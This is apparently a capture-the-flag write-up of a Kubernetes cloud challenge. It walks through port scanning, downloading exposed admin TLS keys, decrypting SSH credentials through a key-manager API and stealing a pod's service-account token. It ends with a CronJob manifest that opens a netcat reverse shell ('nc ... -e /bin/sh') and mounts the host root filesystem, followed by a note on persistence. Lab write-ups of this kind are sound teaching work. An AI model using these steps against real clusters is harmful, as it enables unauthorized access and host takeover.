We just launched an online password management, we would like you to look into our infrastructue and spot any issues.

Category: Cloud

Solver: rgw, linaScience

Flag: HTB{ph00L_T4k3_tHy_pl345UR3_ri9ht_0r_WR0n9!}

Writeup

We get an IP address and run a full port scan with host detection (nmap -A -p-) and see a few open ports:

PORT      STATE SERVICE        REASON  VERSION
22/tcp    open  ssh            syn-ack OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   [...]
80/tcp    open  http           syn-ack nginx 1.18.0
|_http-title: Sophist Key Manager
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0
8080/tcp  open  ssl/http-proxy syn-ack
|_http-title: Site doesn't have a title.
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=admin
|   [...]
8443/tcp  open  ssl/https-alt  syn-ack
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
| fingerprint-strings: 
|   GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: 7ec84791-51f5-437c-977d-2c4954bf15ec
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Fri, 25 Mar 2022 17:33:27 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   HTTPOptions: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: 8e9af1ed-aba6-4463-bf14-afd6e003d2b2
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Fri, 25 Mar 2022 17:33:27 GMT
|     Content-Length: 129
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
|   [...]
10250/tcp open  ssl/http       syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=sophist
|   [...]
10251/tcp open  unknown        syn-ack
31337/tcp open  ssh            syn-ack OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey: 
|   [...]

We can see that the node is the master node of a Kubernetes Cluster. Port 80 and 8080 are application service ports, 8443 is a Kubernetes API Port (HTTPS), ports 10250 and 10251 are Kubelet API Ports and 31337 is an application NodePort.

We look at port 8443 and see that we need to authenticate to the Kubernetes API before making any request. We saw a server with exposed unauthenticated kubelet on ports 10250 and 10251 in the qualifiers [1], but this time, we can’t do anything without authentication. Ports 22 and 31337 are also not useful right now since we do not have any SSH credentials and/or keys.

We first look at port 80 and are greeted with a website called “Sophist Key Manager):

None of the links except “Login” and “Register” work. We register and log in and see a welcome page:

We are interested in the “Manage Key” functionality and get a X509 certificate and private key, a server URL as well as some HTTP API endpoints:

We also see a hint that we have to contact admin regarding permissions. Our private and public keys say that they should be used for TLS Web client authentication, also known as mutual TLS (mTLS):

$ openssl x509 -in client.crt -text
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            0b:56:64:b2:06:2c:16:51:ef:a2:95:50:6e:ff:08:f2
        Signature Algorithm: ED25519
        Issuer: CN = client
        Validity
            Not Before: Mar 16 07:51:24 2022 GMT
            Not After : Apr 15 07:51:24 2022 GMT
        Subject: CN = client
        Subject Public Key Info:
            Public Key Algorithm: ED25519
                ED25519 Public-Key:
                pub:
                    35:03:bd:04:10:64:7b:99:73:f6:f2:c4:04:22:b0:
                    7b:5a:74:bb:4e:9f:7e:60:e8:a7:84:ef:fa:01:5f:
                    10:e4
        X509v3 extensions:
            X509v3 Key Usage: critical
                Digital Signature
            X509v3 Extended Key Usage:
                TLS Web Server Authentication, TLS Web Client Authentication
            X509v3 Basic Constraints: critical
                CA:FALSE
    Signature Algorithm: ED25519
         c3:f4:e9:b3:ee:c1:1c:96:85:09:ed:e6:a6:15:e8:ca:60:b6:
         13:d4:a2:99:98:80:86:1b:11:9c:01:d8:62:85:10:d0:04:f4:
         32:4e:73:43:2f:51:33:7b:19:61:44:d3:f5:a1:94:be:6a:91:
         70:34:40:3f:43:b5:bb:4a:7c:05
-----BEGIN CERTIFICATE-----
MIIBHjCB0aADAgECAhALVmSyBiwWUe+ilVBu/wjyMAUGAytlcDARMQ8wDQYDVQQD
EwZjbGllbnQwHhcNMjIwMzE2MDc1MTI0WhcNMjIwNDE1MDc1MTI0WjARMQ8wDQYD
VQQDEwZjbGllbnQwKjAFBgMrZXADIQA1A70EEGR7mXP28sQEIrB7WnS7Tp9+YOin
hO/6AV8Q5KM/MD0wDgYDVR0PAQH/BAQDAgeAMB0GA1UdJQQWMBQGCCsGAQUFBwMB
BggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMAUGAytlcANBAMP06bPuwRyWhQnt5qYV
6MpgthPUopmYgIYbEZwB2GKFENAE9DJOc0MvUTN7GWFE0/WhlL5qkXA0QD9DtbtK
fAU=
-----END CERTIFICATE-----

The download URLs point to /keys/client.key and /keys/client.crt respectively, so we try accessing /keys to see whether the webserver supports directory indexing:

We can now download the admin certificate and key and need not worry about permissions anymore. The webserver also contains a file called curl.log which looks like this:

#### SSH ENCRYPT OUTPUT SAVE LOG (DEPARTED)
{"ciphertext": "eyJhZWFkIjoiQUVTLTI1Ni1HQ00tSE1BQy1TSEEtMjU2IiwiaXYiOiIwUXJ0alUvWDJtUEtUK3A1R3JwdktRPT0iLCJub25jZSI6ImpxOGliYXVxKzY0dEZBM0kiLCJieXRlcyI6Im1MQ21hdzVxQW9acXpwOTJoMjZuRTJWR01BVkdCTTlJalNtT05SYz0ifQ=="}

{"ciphertext": "eyJhZWFkIjoiQUVTLTI1Ni1HQ00tSE1BQy1TSEEtMjU2IiwiaWQiOiI1ODRiZGI1NjJhYTAzMTYyMGUzYzczNjc1MzljN2IzNyIsIml2IjoiS3Y2bXVsY2ZTMzRScWJiZE51SXhqUT09Iiwibm9uY2UiOiJUNkVLRXFOeThMQTNzK1MwIiwiYnl0ZXMiOiJkOFlNSDRaNy9iWEZYQ2tiTmlsOEFVWEw5WEFxSDVGeEhabXpkbU1hK3JsTDNNMkNPWEt1In0="}

{"ciphertext":"eyJhZWFkIjoiQUVTLTI1Ni1HQ00tSE1BQy1TSEEtMjU2IiwiaWQiOiI3ZWQ2MjkwMTEzNGRjYjVmYjgxZDIwYzA4MjcyYzBmMCIsIml2IjoiQkdJSFBIZEdOY2ljZ0hIdHdtU1FSdz09Iiwibm9uY2UiOiJIMFVhVEVlR2RhREo1RHRuIiwiYnl0ZXMiOiJCSTBySVJmbE10Z2xKWmRTNDZVV05YalhtaEswVlNEclFKaENRQVFiaXFuRXFuTVd3Yit0In0="}

[...]

Base64-decoding one of the ciphertexts results in:

{"aead":"AES-256-GCM-HMAC-SHA-256","id":"584bdb562aa031620e3c7367539c7b37","iv":"Kv6mulcfS34RqbbdNuIxjQ==","nonce":"T6EKEqNy8LA3s+S0","bytes":"d8YMH4Z7/bXFXCkbNil8AUXL9XAqH5FxHZmzdmMa+rlL3M2COXKu"} 

We cannot decrypt the data at this time so we look at the other services. One service we haven’t looked at is port 8080. Ignoring any certificate warnings, we still cannot access the site:

$ curl https://10.129.227.107:8080 -k
nSSL SSL_read: error:14094412:SSL routines:ssl3_read_bytes:sslv3
ificate, errno 0

Since we have an admin certificate and private key, we try using mTLS to access the site:

$ curl --key admin.key --cert admin.crt -k https://10.129.227.107:8080
404 page not found

This seems to work. Let’s try using the API endpoints to create a new key:

$ curl --key admin.key --cert admin.crt -k -X POST https://10.129.227.107:8080/v1/key/create/test
$ curl --key admin.key --cert admin.crt -k https://10.129.227.107:8080/v1/key/list/test
{"name":"test","created_at":"0001-01-01T00:00:00Z"}

We can encrypt and decrypt messages:

$ curl --key admin.key --cert admin.crt -k -X POST https://10.129.227.107:8080/v1/key/encrypt/test -d '{"plaintext": "helo"}'
{"ciphertext":"eyJhZWFkIjoiQUVTLTI1Ni1HQ00tSE1BQy1TSEEtMjU2IiwiaWQiOiIxZjEwNmZjNDQxMDg5ZTJlMjIxODJhOGM0ZTVhNzY4OCIsIml2IjoiRnRFZk1ZZ3F5Z05MTXV4dnl2cWxiQT09Iiwibm9uY2UiOiJEZWdveGhzOStaU3J6ZlJYIiwiYnl0ZXMiOiJZSDZzOGhPaDRURXdDNUVqdFBsOTlyaVpTUT09In0="}
$ curl --key admin.key --cert admin.crt -k -X POST https://10.129.227.107:8080/v1/key/decrypt/test -d '{"ciphertext":"eyJhZWFkIjoiQUVTLTI1Ni1HQ00tSE1BQy1TSEEtMjU2IiwiaWQiOiIxZjEwNmZjNDQxMDg5ZTJlMjIxODJhOGM0ZTVhNzY4OCIsIml2IjoiRnRFZk1ZZ3F5Z05MTXV4dnl2cWxiQT09Iiwibm9uY2UiOiJEZWdveGhzOStaU3J6ZlJYIiwiYnl0ZXMiOiJZSDZzOGhPaDRURXdDNUVqdFBsOTlyaVpTUT09In0="}'
{"plaintext":"helo"}

We poke around a bit to find out that requesting /v1/key/list/* lists all available keys, including one named ssh-creds:

$ curl --key admin.key --cert admin.crt -k https://10.129.227.107:8080/v1/key/list/*
{"name":"test","created_at":"0001-01-01T00:00:00Z"}
{"name":"ssh-creds","created_at":"0001-01-01T00:00:00Z"}

We remember the downloaded curl.log from before and try to decrypt one entry. Since the API returns errors for the first few items, we write a script to decrypt all entries in curl.log:

import subprocess
import os

with open('../curl.log') as f:
    data = f.read().split("\n")

for line in data:
    if line == '' or line.startswith('#'):
        continue
    os.system("curl -k --key admin.key --cert admin.crt --cacert admin.crt -X POST https://10.129.227.107:8080/v1/key/decrypt/ssh-creds -d '" + line + "'")

We get the result {"plaintext":"U3VwZXJDcmF6eVBhc3N3b3JkMTIzIQo="} several times. Base64-decoding gives us SuperCrazyPassword123!. Since the key was named ssh-creds, we try using the password on an SSH port. Logging in on port 31337 with username admin is successful:

$ ssh admin@10.129.227.107 -p 31337
The authenticity of host '[10.129.227.107]:31337 ([10.129.227.107]:31337)' can't be established.
ED25519 key fingerprint is SHA256:eMLNzgpfmeh2AHnVw97/PJBK4a+yF9Rh4JqS3fou9To.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.129.227.107]:31337' (ED25519) to the list of known hosts.
admin@10.129.227.107's password:
Welcome to OpenSSH Server

ssh-deployment-5fcf86748f-r4tsc:~$

We cannot find any flag on the server. Instead, since this is a pod run by Kubernetes, we look at /run/secrets/kubernetes.io/serviceaccount: where we find three files:

ssh-deployment-5fcf86748f-r4tsc:/run/secrets/kubernetes.io/serviceaccount$ ls
ca.crt  namespace  token

We get a token for the namespace default. On our system, we modify ~/.kube/config to contain the token:

apiVersion: v1
clusters:
- cluster:
    insecure-skip-tls-verify: true
    server: https://10.129.227.107:8443/
  name: default
contexts:
- context:
    cluster: default
    user: default
  name: default
current-context: default
kind: Config
preferences: {}
users:
- name: default
  user:
    token: <token>

We run kubectl auth can-i --list to get the service account’s permissions:

$ kubectl auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names   Verbs
cronjobs.*                                      []                                    []               [*]
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]

We see that the service account does not have many permissions, but it is allowed to do everything related to cronjobs. On a Kubernetes cluster, a cronjob is a type of API object that creates jobs periodically. These jobs spawn pods that execute some tasks. To get access to the server, our plan was to create a cronjob with a pod running a reverse shell. In the pod, we would mount a the host’s file system as a volume.

The problem was to properly select the pod’s image. Since the node did not have internet access and pulling images over HTTP is disabled by default in Kubernetes, we had to use an image already present on the node. The server running on port 31337 looked like linuxserver/openssh-server [2] so we tried using this image. Since we were not able to connect back to our systems from the SSH server, we set up the reverse shell to connect to the SSH server in the cluster:

apiVersion: batch/v1
kind: CronJob
metadata:
  name: hello
spec:
  schedule: "* * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: hello
            image:  linuxserver/openssh-server
            command: ["/usr/bin/nc", "10.42.1.11", "4444", "-e", "/bin/sh"]
            imagePullPolicy: Never
            volumeMounts:
            - mountPath: /host
              name: noderoot
          volumes:
          - name: noderoot
            hostPath:
              path: /
          restartPolicy: OnFailure

We get the flag:

$ pwd
/host/root
$ ls
flag.txt
$ cat flag.txt
HTB{ph00L_T4k3_tHy_pl345UR3_ri9ht_0r_WR0n9!}

To persist ourselves, we could now add our own SSH keys to a user and give them a setuid shell.

Other resources

[1] https://platypwnies.de/writeups/2021/htb-uni-quals/cloud/steamcloud/

[2] https://hub.docker.com/r/linuxserver/openssh-server